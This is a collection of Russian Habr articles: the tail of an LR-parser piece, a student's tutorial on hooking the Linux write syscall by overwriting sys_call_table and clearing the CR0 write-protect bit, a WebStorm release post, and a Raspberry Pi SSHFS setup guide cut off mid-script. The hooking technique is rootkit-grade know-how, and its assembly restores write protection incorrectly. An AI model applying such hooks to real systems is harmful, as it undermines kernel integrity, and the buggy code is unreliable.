The result is: 23402`
Вот. Настоящие LR-анализаторы гораздо сложнее, их обычно вручную не пишут, а используют для их автоматической генерации формальные грамматики и специальные инструменты, такие как bison (раньше он был yacc), которые на основе грамматик генерируют программный код, реализующий LR-анализатор. Но терминология shift-reduce, которую используют при описании таких анализаторов, надеюсь, стала понятнее. Когда мы сканировали нашу строку, и добавляли токены в стэк, мы делали shift. Когда мы применяли оператор умножения, сложения или раскрывали скобки — мы делали reduce.
Напоследок упомяну про LL-анализ (рекурсивный спуск). Исторически он появился раньше, чем LR, более или менее общим мнением является то, что LL-анализаторы сравнительно просто писать вручную, а LR обычно создаются с помощью генераторов. Но для автоматической генерации LL-анализаторов тоже существуют инструменты, один из самых известных — ANTLR. Наверное, умение написать LL-анализатор вручную делает работу с такими инструментами легче. Какой подход применять (LL или LR) — вопрос холиворный, поэтому ответ, наверное, “кому какой нравится, и у кого какие навыки лучше отработаны”.
Тем не менее, LL-анализ заслуживает отдельной статьи, которую я, возможно, напишу в будущем (будем разбирать что-то вроде JSON). | https://habr.com/ru/post/357052/ | null | ru | null |
# Подмена обработчика системного вызова
Всем доброго времени суток! Я студентка-второкурсница технического ВУЗа. Пару месяцев назад пришла пора выбирать себе тему курсового проекта. Темы типа калькулятора меня не устраивали. Поэтому я поинтересовалась, есть ли что-нибудь более интересное, и получила утвердительный ответ. «Подмена обработчика системного вызова» — вот моя тема.
##### Введение
**Обработчик прерываний (или процедура обслуживания прерываний)** — специальная процедура, вызываемая по прерыванию для выполнения его обработки. Эти обработчики вызываются либо по аппаратному прерыванию, либо соответствующей инструкцией в программе, и обычно предназначены для взаимодействия с устройствами или для осуществления вызова функций операционной системы (wiki).
###### Зачем?
Главная цель, пожалуй, наглядно на рабочей системе посмотреть как оно работает, а не «грызть» сухую теорию. Ну, или как раньше программисты пытались «делать многозадачность» в DOS, переопределяя обработчик событий таймера.
#### 32-битный обработчик
Как подступиться?
Немного поискав в интернете (особенно пригодился [этот пост](http://habrahabr.ru/post/110369/)) и «покурив» методички по архитектуре Linux, я нашла реализацию подмены 32-битного прерывания на С. Все оказалось проще, чем я думала.
Разберем по порядку.
**Системный вызов** (англ. system call) — обращение прикладной программы к ядру операционной системы для выполнения какой-либо операции (wiki). Адреса обработчиков системных вызовов хранятся ядром в таблице системных вызовов (sys\_call\_table). Обработчик, расположенный по одному из этих адресов, вызывается каждый раз, когда какая-то программа вызывает прерывание 80h с номером какого-либо системного вызова в регистре eax (например, eax=4 для системного вызова write, выполняющего запись в файл или устройство вывода). Зная адрес этой таблицы и номер нужного вызова, можно подменить его обработчик своим собственным кодом.
Итак, с 32-битным прерыванием разобрались.
Алгоритм подмены прерывания предельно прост:
1. ищем адрес таблицы системных вызовов (sys\_call\_table)
2. ищем в ней адрес нужного нам системного вызова
3. записываем вместо этого адреса адрес нашего обработчика
После таких манипуляций, при вызове подмененого нами прерывания будет вызван наш обработчик.
Чтобы это реализовать, напишем модуль ядра. Почему модуль? Да все просто, модуль — программный код, который может быть загружен или выгружен из памяти по мере необходимости. Тем самым мы расширим функциональные возможности ядра без необходимости перезагрузки системы. Модуль будем писать на С.
«Скелет» модуля ядра:
```
static int init(void) {
}
static void exit(void) {
}
module_init(init);
module_exit(exit);
```
Модуль, как видно из вышенаписанного, должен содержать как минимум 2 функции — функцию инициализации модуля в памяти (вызывается при загрузке модуля в память) и функцию завершения работы (вызывается, соответственно, при выгрузке модуля).
Главная задача, которую требуется решить для подмены обработчика — выяснить расположение таблицы системных вызовов в оперативной памяти. Адрес таблицы можно найти в файле «System.map-версия\_ядра». Найденный адрес добавим в компилируемый модуль. Для поиска адреса воспользуемся следующей командой:
`grep sys_call_table /boot/System.map-$(uname -r) |awk '{print $1}'`
Команда выведет на экран найденный адрес, например:
`c05d3180`
Для автоматизации процесса поиска таблицы системных вызовов можно написать небольшой скрипт, что я, собственно, и сделала.
Чтобы полностью заменить системный вызов своим кодом, нужно полностью реализовать его функционал. Поэтому, во избежание ненужной головной боли, поступим иначе: при подмене адреса в таблице системных вызовов сохраним прежнее значение в какой-либо переменной, и каждый раз после выполнения своих действий будем передавать управление на этот адрес. Такой подход позволяет добавить собственные действия без ущерба для уже существующего функционала и таким образом не сломать работу ОСи.
Чтобы ничего не испортить, наш первый модуль ядра будет просто выводить сообщение в лог ядра системы при вызове функции write.
**Важная деталь!** При подмене обработчика необходимо обойти защиту от записи для области векторов прерываний. Мы делаем это сбросом WP-бита системного регистра CR0. Этот бит действует на аппаратном уровне, разрешая (для кода, имеющего достаточные привилегии) модификации страниц памяти независимо от того, разрешена в них запись или нет. Доступ к регистру CR0 выполняется макросами write\_cr0() и read\_cr0().
**Итоговый код модуля**
```
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
unsigned long \*syscall\_table = (unsigned long \*)0xTABLE; // TABLE - адрес таблицы системных вызовов (в нашем случае был c05d3180)
asmlinkage int (\*original\_write)(unsigned int, const char \_\_user \*, size\_t);
asmlinkage int new\_write(unsigned int fd, const char \_\_user \*buf, size\_t count) { // измененная функция write
printk(KERN\_ALERT "It works!\n");
return (\*original\_write)(fd, buf, count);
}
static int init(void) {
printk(KERN\_ALERT "Module init\n");
write\_cr0 (read\_cr0 () & (~ 0x10000)); // сброс WP бита
original\_write = (void \*)syscall\_table[\_\_NR\_write];// сохраняем адрес старого обработчика
syscall\_table[\_\_NR\_write] = new\_write; // и записываем новый
write\_cr0 (read\_cr0 () | 0x10000); // устанавливаем WP бит обратно
return 0;
}
static void exit(void) {
write\_cr0 (read\_cr0 () & (~ 0x10000)); // сброс WP бита
syscall\_table[\_\_NR\_write] = original\_write; // Возвращаем стандартный обработчик на место
write\_cr0 (read\_cr0 () | 0x10000); // устанавливаем WP бит обратно
printk(KERN\_ALERT "Module exit\n");
return;
}
module\_init(init);
module\_exit(exit);
```
#### 64-битный обработчик
Первое отличие, которое я заметила — это при вводе команды
`grep sys_call_table /boot/System.map-$(uname -r) |awk '{print $1}'`
вывелось два адреса:
`ffffffff81801300`
`ffffffff81805260`
Несколько изменив команду, я получила такой вот результат
`grep sys_call_table /boot/System.map-$(uname -r)`
`ffffffff81801300 R sys_call_table`
`ffffffff81805260 R ia32_sys_call_table`
Все сразу стало ясно. В 64-битной архитектуре для совместимости с 32-битной присутствуют две таблицы системных вызовов. Как видно, одна для 64-битный вызовов, а вторая для 32-битных.
В 32-битной архитектуре \_\_NR\_write был равен 4 (оно и понятно, системный вызов write находится под номером 4), а в х64 равен 1. Так как до этого я не работала с 64-битным ассемблером, я не сразу поняла в чем дело, но потом узнала, что sys\_write в 64-битной архитектуре имеет номер 1.
Собственно, на этом все интересующие меня различия между 64-битным и 32-битным обработчиком прерывания write для меня закончились.
Так как ТЗ предполагает использование ассемблера, модуль ядра мы напишем на С, а все его функции — на ассемблере.
**Shell-скрипт**
```
#!/bin/bash
TABLE=$(grep ' sys_call_table' /boot/System.map-$(uname -r) |awk '{print $1}')
echo $TABLE
sed -i s/TABLE/$TABLE/g module.c
```
**Модуль ядра**
```
#include
#include
unsigned long \*syscall\_table = (unsigned long \*)0xTABLE;
extern void change(unsigned long \*temp);
extern void unchange(unsigned long \*temp);
static int init(void) {
printk(KERN\_ALERT "\nModule init\n");
change(syscall\_table);
return 0;
}
static void cleanup(void) {
unchange(syscall\_table);
printk(KERN\_ALERT "Module exit\n");
}
module\_init(init);
module\_exit(cleanup);
```
**Вспомогательный модуль**
```
global unlockWP
global lockWP
global change
global unchange
extern printk
SECTION .text
newwrite:
mov rax, original ; original_write
mov rax, QWORD[rax] ; в rdi - 4 байта fd
call far rax ; в rsi - 8 байт buf
; в rdx - 8 байт count
; вызов оригинального прерывания
push rax ; сохраняем результат отработки прерывания
xor rax, rax ; обнуляем rax
mov rdi, work ; выводим строку "It works"
call printk ; вызываем функцию printk
pop rax ; возвращаем в rax то, что вернула оригинальная функция
ret
change:
call unlockWP ; снимаем защиту
; rdi - параметр
add rdi, 8 ; rdi - syscall_table + __NR_write
mov rax, QWORD [rdi] ; rax - syscall_table[__NR_write]
mov rbx , original
mov QWORD [rbx], rax ; сохранили адрес оригинального вызова
mov rax, newwrite ; и записываем в таблицу вместо оригинального
mov QWORD [rdi], rax ; адрес нашего вызова
call lockWP ; возвращаем защиту
ret
unchange:
call unlockWP ; снимаем защиту
; rdi - параметр
add rdi, 8 ; rdi - syscall_table + __NR_write
mov rbx, original ; в rbx адрес оригинального вызова
mov rax, QWORD [rbx] ; rax - syscall_table[__NR_write]
mov QWORD [rdi],rax ; записываем его обратно в таблицу
call lockWP ; возвращаем защиту
ret
unlockWP:
mov rax, cr0
and rax, 0xfffffffffffeffff
mov cr0, rax
ret
lockWP:
mov rax, cr0
xor rax, 0x0000000000001000
mov cr0, rax
ret
SECTION .data
original: DQ 0,0
work: DB "It works!",10,0
```
**Makefile**
```
obj-m += kmod.o
kmod-objs := module.o main.o
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
module:
nasm -f elf64 -o main.o main.asm
make -C $(KDIR) SUBDIRS=$(PWD) modules
make clean
clean:
rm -f *.o *mod.c *.symvers *.order
```
Если все прошло успешно, в каталоге с исходниками получим файл kmod.ko. Это и есть наш модуль ядра. Чтобы проверить его работу, необходимо загрузить его в память. Делается это при помощи команды `insmod модуль_ядра.` Чтобы выгрузить модуль — выполнить команду `rmmod модуль_ядра.` Для проверки работы модуля выполним команду `dmesg`, тем самым выведем буфера сообщений ядра в стандартный поток вывода.
Спасибо за внимание.
P.S.:**Парочка скриншотов.**Запуск скрипта
Компиляция вспомогательного модуля и модуля ядра
Загрузка модуля в память
Вывод буфера сообщений ядра в стандартный поток вывода
Выгрузка модуля из памяти
Повторный вывод буфера сообщений ядра
Ну и [архивчик](https://docs.google.com/file/d/0BzDxu9HtVXbqdnlQc1Y4aWFDOGs/edit?usp=sharing) с исходниками. | https://habr.com/ru/post/182792/ | null | ru | null |
# WebStorm 2019.3: ускоренный запуск, усовершенствованная поддержка Vue.js и другие улучшения
Всем привет!
Давненько на Хабре не было блог-постов от команды WebStorm. Что же, будем исправляться, тем более, есть отличный повод: мы только что выпустили последнее крупное обновление WebStorm в этом году.
Если у вас нет времени на чтение всей статьи, вот несколько слов о том, что появилось в WebStorm 2019.3:
* Мы проделали серьезную работу над ускорением запуска IDE, и теперь WebStorm 2019.3 отображает экран приветствия и открывает ранее проиндексированные проекты приблизительно на 20% быстрее по сравнению с предыдущими версиями.
* Благодаря автодополнению имен слотов, быстрой документации для символов Vue и поддержке компонентов, определенных в отдельных файлах, теперь вы можете создавать приложения с Vue.js еще быстрее.
* Существующую функциональность стало удобнее использовать: теперь вы можете автоматически включать глобальные средства просмотра файлов для всех новых проектов, быстрее клонировать проекты из GitHub и не только.
* Автодополнение кода для JavaScript и TypeScript стало еще умнее. Например, для новых переменных, функций, классов и интерфейсов WebStorm теперь подсказывает подходящие имена, которые уже использовались в той же области, но еще не были определены и отмечены как unresolved.
Это только часть улучшений. Чтобы попробовать их в деле, скачайте 30-дневную пробную версию WebStorm 2019.3 на [сайте](https://www.jetbrains.com/ru-ru/webstorm/whatsnew/) или с помощью [Toolbox App](https://www.jetbrains.com/ru-ru/toolbox-app/). Полную версию могут использовать обладатели [действующей подписки](https://www.jetbrains.com/ru-ru/webstorm/buy/#personal?billing=monthly) на WebStorm или All Products Pack, а также бесплатно [студенты](https://www.jetbrains.com/ru-ru/student/) и [разработчики](https://www.jetbrains.com/ru-ru/community/opensource/?product=webstorm) проектов с открытым исходным кодом.
А сейчас давайте рассмотрим каждое из улучшений подробнее и пройдемся по другим важным изменениям в продукте.
#### Ускоренный запуск среды разработки
Одной из самых распространенных проблем с производительностью WebStorm был его медленный запуск. Исправлению этого неудобства, на которое жаловались многие пользователи, мы посвятили последние два релизных цикла. В результате, WebStorm 2019.3 отображает экран приветствия и открывает ранее проиндексированные проекты значительно быстрее по сравнению с предыдущими версиями.
Что именно мы имеем в виду, говоря «быстрее»? Мы измерили время запуска WebStorm 2019.3 на разных операционных системах и сравнили эти цифры с показателями двух предыдущих версий — 2019.1 и 2019.2. Чтобы получить точные результаты, мы везде использовали один и тот же проект: приложение React с открытым в редакторе файлом app.js, созданное с использованием [create-react-app](https://github.com/facebook/create-react-app). Вот какие результаты мы получили:
В среднем, время запуска сократилось приблизительно на 20% по сравнению с предыдущими версиями, однако **результаты могут отличаться** в зависимости от используемых настроек сети, величины рабочего пространства, возраста компьютера и конфигурации антивируса.
Мы не планируем останавливаться на достигнутом — в версии 2020.1 вас ждут еще несколько значительных улучшений в этой области, включая оптимизацию индексирования проектов.
#### Большие улучшения в поддержке Vue.js
Кроме ускорения запуска, мы существенно доработали поддержку Vue.js, чтобы пользователи WebStorm могли быстрее создавать приложения на этом фреймворке.
Начнем с того, что автодополнение кода в проектах Vue.js стало работать гораздо лучше. Во-первых, WebStorm теперь может автоматически заполнять имена слотов. Это работает для имен слотов, определенных как в компонентах проекта, так и в библиотеках компонентов Vuetify, Quasar и BootstrapVue. Во-вторых, WebStorm теперь понимает связь между частями компонента, расположенными в разных файлах, и предлагает варианты автодополнения для входных параметров, данных и методов, даже если они не определены в одном vue-файле.
Наконец, теперь вы можете просматривать документацию для компонентов и директив, определенных во Vue.js, и некоторых популярных библиотеках компонентов — прямо в WebStorm. Для этого просто наведите курсор на имя компонента или директивы в вашем коде и нажмите *F1*.
#### Подсказки для имен новых символов
Как только вы начнете добавлять имена переменных или параметров в файлах JavaScript или TypeScript, WebStorm подскажет несколько подходящих вариантов, опираясь на имена классов, интерфейсов и псевдонимов типов, определенных в вашем проекте, а также на используемые вами стандартные библиотеки и зависимости.
Для новых переменных, функций, классов и интерфейсов вы также увидите подсказки для имен, которые уже использовались в той же области видимости, но еще не были определены и отмечены как *unresolved*.
Например, если вы хотите использовать какую-то новую функцию, вы можете сначала вызвать ее, а затем напечатать `function`, чтобы добавить ее и увидеть предложенное имя. Конечно, вы также можете навести курсор на место ее использования, нажать *Alt-Enter* и применить «быстрое исправление» *Create Function*.
#### Поддержка последних версий широко используемых технологий
В WebStorm 2019.3 вы найдете встроенную поддержку ключевой функциональности TypeScript 3.7, в том числе *optional chaining*, *nullish coalescing* и *assertion signatures*, которая поможет вам работать с ними более эффективно. Но это еще не все: мы также добавили поддержку функциональности Plug’n’Play, доступную в грядущем релизе Yarn 2.
#### Автодополнение кода для CSS библиотек, добавленных через CDN
Используете Bootstrap или другую CSS-библиотеку, подключенную через CDN в HTML-файле? Теперь WebStorm предложит варианты автодополнения для имен классов из используемой библиотеки, при этом не вынуждая вас добавлять ее источники в проект. Чтобы подключить эту функциональность, наведите курсор на CDN-ссылку в файле HTML, нажмите *Alt-Enter* и выберите *Download library*.
#### Единое действие для запуска инструментов и конфигураций
С новым действием *Run Anything* вы можете быстро запускать конфигурации и такие инструменты, как npm и Yarn, а также открывать последние проекты. Чтобы использовать его, дважды нажмите *Ctrl* или щелкните значок с правой стороны панели навигации.
#### Подключение глобальных средств просмотра файлов для всех новых проектов
Если вы используете в своем проекте такие инструменты, как Prettier, и настраиваете их с помощью средства просмотра файлов, то вполне вероятно, что вы захотите автоматически применить уже существующие настройки ко всем новым проектам. В WebStorm 2019.3 этого можно добиться, включив глобальные средства просмотра файлов по умолчанию. Чтобы включить их, перейдите в *Preferences/Settings | Tools | File Watchers*, добавьте новое глобальное средство просмотра файлов и установите флажок *Enabled*.
#### Обновленный интерфейс для клонирования проектов
Теперь при клонировании проекта из системы управления версиями вы увидите обновленное диалоговое окно *Get from Version Control*. Основная цель этого обновления — улучшить опыт получения проектов с GitHub. Теперь вы можете выбрать GitHub в левой части диалогового окна и войти в свою учетную запись прямо из диалогового окна. После этого можно просмотреть список репозиториев в своей учетной записи и в организациях, к которым вы принадлежите, и найти тот, который вы хотите клонировать.
На этом всё на этот раз. Спасибо, что дочитали до конца! Еще больше подробностей вы можете получить из [релизного блог-поста](http://blog.jetbrains.com/webstorm/2019/11/webstorm-2019-3/) (на английском). Вопросы, пожелания, баг-репорты и просто мысли высказывайте в комментариях. Мы, как и всегда, будем рады ответить.
*Команда JetBrains WebStorm*
*The Drive to Develop* | https://habr.com/ru/post/477078/ | null | ru | null |
# Сетевой жесткий диск с помощью SSHFS и Raspberry Pi
Всем привет!
Хочу поделиться с вами моим опытом создания сетевого жесткого диска на Raspberry Pi. Моя статья отлично подойдет тем, кто использует линукс в качестве основной ОС, т.к. тут я активно использую SSHFS.
Всех заинтересовавшихся прошу под кат.
### Шаг 0. Подготовка
Нам необходимо:
* Raspberry Pi любой модели + SD карточка памяти до 32 GB;
* Жесткий диск;
* Если жесткий диск без внешнего питания, то, скорее всего, понадобится хаб с возможностью подключения внешнего питания;
* Основной компьютер работающей под линуксом (в статье я использую Linux Mint 17);
* Интернет;
* Прямые руки.
### Шаг 1. Установка
Для начала необходимо установить на Raspberry Pi Raspbian или Arch Linux ARM.
В статье я буду использовать Raspbian.
1. Идем на сайте Raspberry Pi в раздел [загрузок](http://www.raspberrypi.org/downloads/) и скачиваем образ Raspbian
2. Распаковываем архив
3. Открываем терминал и переходим в папку с образом
4. Вставляем карточку памяти в компьютер
5. В терминале вводим df -h и смотри на вывод. В выводе должно присутствовать /dev/mmcblk0p1 или /dev/sdd1. В моем случае это /dev/mmcblk0p1. p1 (или 1, если у вас карточка отображается как /dev/sdd1) это номер раздела, если на карточке несколько разделов, то в выводе еще будет /dev/mmcblk0p2 или /dev/sdd2. Количество записей в выводе зависит от того сколько у вас разделов
6. Итак, узнав как ваша карточка отображается в системе переходим к записи образа.
1. В терминале запускаем umount /dev/mmcblk0p1 (или umount /dev/sdd1). Если у вас несколько разделов, то необходимо размонтировать все.
2. Записывать на карточку образ будем с помощью программы dcfldd. Программа dcfldd работает так же как dd, но периодически сообщает о том сколько уже записано. Введите в терминал следующую команду:
```
$ sudo dcfldd bs=4M if=имя_вашего_образа_.img of=путь_к_вашей_карте
```
В моем случае команда выглядит так:
```
$ sudo dcfldd bs=4M if=2014-12-24-wheezy-raspbian.img of=/dev/mmcblk0
```
Обратите внимание, что в пути к вашей карте не надо указывать номер раздела (даже если он один). Образ записывается на всю карту.
bs — block size — размер одного блока, записывающегося на карту. Если при установленных 4M запись не работает, то необходимо поставить 1M, но это приведет к увеличению времени записи.
3. После того как образ будет записан запустите команду:
```
$ sync
```
Это позволит убедиться в том что все данные были записаны на карту и очистит буфер
7. Все. Карточку можно вынимать и вставлять в Raspberry Pi.
### Шаг 2. Первое включение
1. Вставляем карточку в Raspberry Pi;
2. Подключаем к Raspberry Pi интернет, монитор и клавиатуру;
3. Включаем Raspberry Pi;
4. После загрузки системы у вас должно появится окно Raspberry Pi Software Configuration Tool.
1. Выбираем пункт Expand Filesystem и нажимаем Enter. Это позволит убедиться в том что весь объем карточки доступен ОС
2. Далее переходим к пункту 2 — Change User Password и вводим новый пароль;
3. Переходим к пункту 3 — Enable Boot to… и выбираем Console Text console;
4. Переходим к пункту 4 — Internationalisation Options и затем переходим к пункту Change Locale и ищем в списке ru\_RU.UTF-8 UTF-8, помечаем пробелом и нажимаем Enter. Дальше система спросит какую локаль использовать по умолчанию. Выбираем русскую и нажимаем Enter;
5. Идем снова в Internationalisation Options и затем переходим к пункту Change Timezone. Выбираем Europe и ищем в списке свой город. Затем нажимаем Enter;
6. Переходим к пункту 7 — Overclock (разгоним немного нашу малышку) и выбираем уровень Medium;
7. Переходим к пункту 8 — Advanced Options и переходим к пункту A2 — Hostname. Вводим имя под которым мы хотим видеть нашу малышку в локальной сети и жмем Enter;
8. Идем снова в Advanced Options и переходим к пункту A4 — SSH и включаем SSH;
9. На этом наши приключения в Raspberry Pi Software Configuration Tool закончены. Нажимаем стрелку вправо и Finish.
5. Если необходимо снова попасть в эту программу, то нужно ввести:
```
$ sudo raspi-config
```
6. Теперь нужно перезагрузить систему. В консоле вводим команду:
```
$ sudo reboot
```
7. После того как система перезагрузится заходим в учетную запись. Логин pi пароль тот что вы ввели ранее;
8. Теперь необходимо обновить ОС. Для этого вводим:
```
$ sudo rpi-update
```
и после этого
```
$ sudo apt-get update
```
и
```
$ sudo apt-get upgrade
```
### Шаг 3. Настройка SSH
1. Прежде всего необходимо сгенерировать ключи (если они еще не сгенерированы). Для этого на основной ОС выполните:
```
$ ssh-keygen -t rsa -C "your_email@example.com"
```
2. После чего ключи необходимо скопировать на вашу Raspberry Pi.
1. Для этого необходимо узнать под каким ip ваша малышка находится в сети. Это можно узнать зайдя на роутер, например или с помощью команды:
```
$ ifconfig
```
У меня ip 192.168.0.102.
2. Теперь выполняем команду на основной ОС:
```
$ ssh-copy-id pi@192.168.0.102
```
Вас попросят ввести согласие на продолжение подключения. Нужно ввести yes. После чего вас попросят ввести пароль от учетный записи на Raspberry Pi. Вводим и его.
3. Теперь можно попробовать подключиться к вашей Raspberry Pi через ssh. Для этого на основной машине введите:
```
$ ssh pi@192.168.0.102
```
4. Если вы увидите сообщение приветствие, то, ура, вы вошли
5. Теперь можно отключить от Raspberry Pi монитор и клавиатуру. Все дальнейшие действия мы будем проводить через SSH
### Шаг 4. Причесывание Raspberry Pi
1. Во-первый необходимо задать пароль для root'a т.к. по умолчанию он отсутствует. Для этого выполните:
```
$ sudo passwd root
```
И введите новый пароль для root'a
2. Устанавливаем редактор vim:
```
$ sudo apt-get install vim
```
Вы также можете использовать редактор nano, который уже установлен. Но я предпочитаю vim.
3. Теперь я хочу изменить имя пользователя. Для этого выходим с помощью команды exit. Снова логинимся через ssh, но уже под рутом.
```
$ ssh root@192.168.0.102
```
и выполняем команду:
```
$ usermod -l новое_имя -d /home/новое_имя -m pi
```
Я использую в качестве нового имени inn0kenty, т.е. в моем случае команда выглядит так:
```
$ usermod -l inn0kenty -d /home/inn0kenty -m pi
```
### Шаг 5. Статический ip
У меня работает DHCP, поэтому при каждом подключении Raspberry Pi к домашней сети ей будет выдаваться новый ip адрес, что меня конечно не устраивает. Для того чтобы сделать ip статическим необходимо выполнить:
1. Введите в терминале
```
$ sudo vim /etc/network/interfaces
```
. В открывшемся файле меняем
```
iface eth0 inet dhcp
```
на
```
iface eth0 inet static
address 192.168.0.98
netmask 255.255.255.0
network 192.168.0.0
broadcast 192.168.0.255
gateway 192.168.0.1
```
Указав при этом параметры вашей сети. Netmask и broadcast можно узнать с помощью команды
```
$ sudo ifconfig
```
а gateway с помощью
```
$ sudo route -nee
```
2. После чего перезагружаем Raspberry Pi командой sudo reboot
3. Теперь для того чтобы подключиться к Raspberry Pi по shh необходимо ввести
```
$ ssh inn0kenty@192.168.0.98
```
### Шаг 6. Причесываем SSH
На этом шаге я покажу как упростить подключение по ssh и сделать его более безопасным.
1. Прежде всего откроем файл конфигурации ssh с помощью команды:
```
$ sudo vim /etc/ssh/sshd_config
```
И устанавливаем в нем запрет входить по ssh пользователю root и отключаем аутентификацию по паролю:
```
PasswordAuthentication no
PermitRootLogin no
```
А также меняем порт
```
Port 22226 (например)
```
2. После чего перезагружаем Raspberry Pi
```
$ sudo reboot
```
3. Теперь для подключении к Raspberry Pi необходимо указывать порт 22226
```
$ ssh -p 22226 inn0kenty@192.168.0.98
```
Но столь длинную команду можно упростить и свести к минимуму. Для этого на вашей основной ОС отредактируем файл config. В домашней директории выполните:
```
$ vim .ssh/config
```
и вставьте туда следующие строчки:
```
Host 192.168.0.98
Hostname 192.168.0.98
User inn0kenty
Port 22226
```
После этого для подключение к вашей Raspberry Pi необходимо будет набрать только
```
$ ssh 192.168.0.98
```
### Шаг 7. Подключение к Raspberry Pi извне.
В этом разделе я хочу рассказать как подключаться по ssh к Raspberry Pi не только из локальной сети, но и извне.
Если у вас внешний ip статический, то, ура, можно особо не париться. Достаточно сделать переадресацию с внешнего ip на внутренний.
Но если у вас, как и у меня, внешний ip динамический, то на помощь нам придет dynamic dns.
Лично я пользуюсь noip.com т.к. он бесплатен, хотя и требует периодически заходить на сайт и подтверждать, что вы еще пользуетесь адресом, который они вам дали.
Итак, регистрируйтесь там и переходите в Add a Host.
1. В hostname введите адрес, который хотите использовать для подключения извне и нажмите на кнопку Add Host ничего больше не меняя
2. Теперь необходимо чтобы noip знал когда у вас меняется ip. Тут есть два пути. Первый, если ваш роутер поддерживает функцию динамической системы доменных имен (DDNS), то достаточно в настройках роутера ввести данные аккаунта и доменное имя. После чего роутер будет сообщать noip о смене ip адреса. Второй, необходимо поставить программу на ваш основной компьютер. У noip это Dynamic DNS Update Client. Взять ее можно [отсюда](https://www.noip.com/download?page=linux)
3. Следующий шаг: необходимо сделать переадресацию с внешнего ip на ваш локальный.
Для этого в моем роутере необходимо перейти в Переадресация -> Виртуальные серверы и добавить туда такую запись:
Порт сервиса: 22226
Внутренний порт: 22226
IP-адрес: 192.168.0.98
Протокол: все
4. Теперь необходимо добавить в конфигурационный файл ssh на вашей основной ОС данные для входа извне.
Открываем файл config
```
$ vim .ssh/config
```
И добавляем туда
```
Host доменное_имя
Hostname доменное_имя
User inn0kenty
Port 22226
```
Сохраняем.
5. Все. Теперь вы можете подключаться к Raspberry Pi не только из дома
### Шаг 8. Подключение HDD
1. Для начала необходимо на вашей Raspberry Pi создать папку в которую будет монтироваться ваш HDD
```
$ mkdir hdd
```
2. Теперь подключим жесткий диск к Raspberry Pi и введем команду
```
$ sudo blkid
```
В выводе должно быть что-то типа такого:
```
/dev/mmcblk0p1: SEC_TYPE="msdos" LABEL="boot" UUID="936C-7154" TYPE="vfat"
/dev/mmcblk0p2: UUID="c1398422-7a7c-4863-8a8f-45a1db26b4f2" TYPE="ext4"
/dev/sda1: LABEL="Seagate Expansion Drive" UUID="7CD8E7DCD8E792A6" TYPE="ntfs"
```
Последняя строчка как раз то, что нам нужно. Запоминаем UUID.
3. Теперь необходимо установить поддержку файловой системы
```
$ sudo apt-get install ntfs-3g
```
4. Открываем файл fstab
```
$ sudo vim /etc/fstab
```
5. Добавляем туда вот такую строчку:
```
UUID="*" ** ntfs-3g rw,force,exec,users 0 0
где * - это ваш UUID (у меня 7CD8E7DCD8E792A6)
а ** - это путь к вашей папке монтирования (у меня /home/inn0kenty/hdd)
```
6. Сохраняемся и перезагружаем Raspberry Pi
7. После перезагрузки в папке hdd должны появиться все файлы и папки с жесткого диска
### Шаг 9. SSHFS
1. Устанавливаем на вашу основную ОС sshfs
```
$ sudo apt-get install sshfs
```
2. Создаем в домашней директории папку в которую будет монтироваться Raspberry Pi.
```
$ mkdir pi
```
3. Монтируем Raspberry Pi в эту папку:
```
$ sshfs 192.168.0.98:/home/inn0kenty/hdd pi
```
Все. Все наши файлы с жесткого диска оказались в папке pi на вашей основной машине
4. Для того чтобы размонтировать Raspberry Pi нужно ввести команду
```
$ sudo umount pi
```
или
```
$ fusermount -u pi
```
5. Для того чтобы сделать тоже самое извне достаточно немного изменить команду.
```
$ sshfs доменное_имя:/home/inn0kenty/hdd pi
```
6. Эти команды можно прописать в fstab на вашей основной машине, чтобы монтирование выполнялось каждый раз когда вы включаете компьютер, но для меня это не подходящий вариант т.к. основной компьютер у меня ноутбук и интернет при включении есть не всегда. Поэтому я предлагаю воспользоваться небольшим скриптом, который легко примонтрует вашу Raspberry Pi с помощью одной короткой командой.
```
#!/bin/bash
ABSOLUTE_FILENAME=`readlink -e "$0"` #имя файла
#имя директории в которой файл находится
DIRECTORY=`dirname "$ABSOLUTE_FILENAME"`
if [ "x$1" = "x-nh" ] || [ "x$1" = "x-nothome" ] ; then
sshfs -o nonempty доменное_имя:/home/inn0kenty/hdd $DIRECTORY
# -o nonempty говорит sshfs о том что директория в которую
# монтируют не пуста
else
sshfs -o nonempty 192.168.0.98:/home/inn0kenty/hdd $DIRECTORY
fi
```
1. Сохраним этот скрипт в файл mount.sh и сделаем его исполняемым
```
$ chmod +x mount.sh
```
2. И поместим его в папку pi
```
$ mv mount.sh pi/
```
3. После чего добавим алиас, чтобы запускать скрипт одной командой. Откройте bashrc (если его нет, создайте).
```
$ vim .bashrc
```
И добавьте туда строчку
```
alias pimount='/home/inn0kenty/pi/mount.sh'
```
Разумеется подставив ваши данные.
Сохраните и перезапустите bash.
Теперь можно монтировать вашу Raspberry Pi одной командой
```
$ pimount
```
Причем если указать ключ -nh или -nothome, то ваша Raspberry Pi примонтируется через доменное имя т.е. можно использовать вашу Raspberry Pi по полной даже не находясь в одной локальной сети с ней.
```
$ pimount -nh
```
или
```
$ pimount -nothome
```
### Шаг 10. Deluge
Последний шаг — установка торрент-качалки. Я предпочитаю Deluge.
1. Вводим по очереди команды:
```
$ sudo apt-get install deluged deluge-webui
```
2. После чего выполняем
```
$ sudo vim /etc/default/deluge-daemon
```
и вводим туда следующее:
```
# Configuration for /etc/init.d/deluge-daemon
# The init.d script will only run if this variable non-empty.
DELUGED_USER="ваше_имя_пользователя" # !!!CHANGE THIS!!!!
# Should we run at startup?
RUN_AT_STARTUP="YES"
```
Затем сохраняем и закрываем
3. И выполняем:
```
$ sudo vim /etc/init.d/deluge-daemon
```
и вводим туда следующее:
**Большой скрипт**
```
#!/bin/sh
### BEGIN INIT INFO
# Provides: deluge-daemon
# Required-Start: $local_fs $remote_fs
# Required-Stop: $local_fs $remote_fs
# Should-Start: $network
# Should-Stop: $network
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Daemonized version of deluge and webui.
# Description: Starts the deluge daemon with the user specified in
# /etc/default/deluge-daemon.
### END INIT INFO
# Author: Adolfo R. Brandes
# Updated by: Jean-Philippe "Orax" Roemer
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DESC="Deluge Daemon"
NAME1="deluged"
NAME2="deluge"
DAEMON1=/usr/bin/deluged
DAEMON1_ARGS="-d" # Consult `man deluged` for more options
DAEMON2=/usr/bin/deluge-web
DAEMON2_ARGS="" # Consult `man deluge-web` for more options
